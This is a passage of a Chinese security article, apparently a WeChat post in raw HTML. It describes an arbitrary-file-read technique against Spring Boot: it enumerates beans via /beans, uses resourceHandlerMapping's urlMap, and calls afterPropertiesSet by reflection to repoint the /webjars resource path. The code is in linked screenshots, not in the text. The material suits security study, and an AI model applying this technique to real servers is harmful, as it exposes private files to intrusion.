63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getXX</span></code></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">isXX</span></code></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">XX</span></code></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最后在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">read</span></code><span leaf=""> 中通过反射执行该无参函数：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2518518518518518" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008719" src="https://wechat2rss.xlab.app/img-proxy/?k=b18e5106&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkSnRJFibPO92470P4btwL7xS1yUQOSMTFtfEx3UbhMUHWlbiawQU43gYQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">任意文件读取</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">下面需要寻找可利用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Bean</span></code><span leaf=""> 对象。橙⼦酱师傅使用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">resourceHandlerMapping</span></code><span leaf=""> 实现了任意文件读取。可以通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/beans</span></code><span leaf=""> 端点获取所有 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Bean</span></code><span leaf=""> 对象，其中就包含 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">resourceHandlerMapping</span></code><span leaf=""> ，对应类型为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SimpleUrlHandlerMapping</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.24166666666666667" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008720" src="https://wechat2rss.xlab.app/img-proxy/?k=768b4cf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkaNlf517LicvZdmKNwTCwjqGOG7wff7EkPU2xhWEUDnOl2toyzoiafjeQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">可以通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">urlMap</span></code><span leaf="">属性（调用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getUrlMap</span></code><span leaf="">）获取全部静态资源的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">映射。默认存在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">2</span></code><span leaf="">个合法</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">规则如下，其中</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/webjars</span></code><span leaf="">对应的路径定义在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">locationsToUse</span></code><span leaf="">中，但是其类型为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Resource</span></code><span leaf=""> 列表，不好直接进行链式赋值：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5101851851851852" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008722" src="https://wechat2rss.xlab.app/img-proxy/?k=34ce27c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkhzky9kv5BoQj4Dx8K36dvDzSdPEZdwngOWUwhRO6rwp3icKSF8iavbiaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">刚好类中存在一个名为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">afterPropertiesSet</span></code><span leaf=""> 的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">public</span></code><span leaf=""> 函数，借助 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">resolveResourceLocations</span></code><span leaf=""> 这个私有函数完成了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">locationsToUse</span></code><span leaf=""> 赋值：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.4962962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008721" src="https://wechat2rss.xlab.app/img-proxy/?k=dfa0a5a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkBXAY7uPdvHjqwh6AYiaEKKEebSWxMfNFKibLQOY86OeictX5Nx8icZQesg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">可以通过构造链式表达式来修改路径定义，进而实现任意文件读取：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.3435185185185185" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008718" src="https://wechat2rss.xlab.app/img-proxy/?k=2472b355&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkYyNyz01HZCsOYvz4ck9GRB5ep56NHMRHKiahAlqwlFCMZbibw8lfsIrg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.26666666666666666" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008723" src="https://wechat2rss.xlab.app/img-proxy/?k=4ea5e6b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfk2LQtKYxnSwC8nkQPkWDPNkypQyp3b4OA6nSUvQv7Skqrlra6Nia4Vtg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">要想 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: 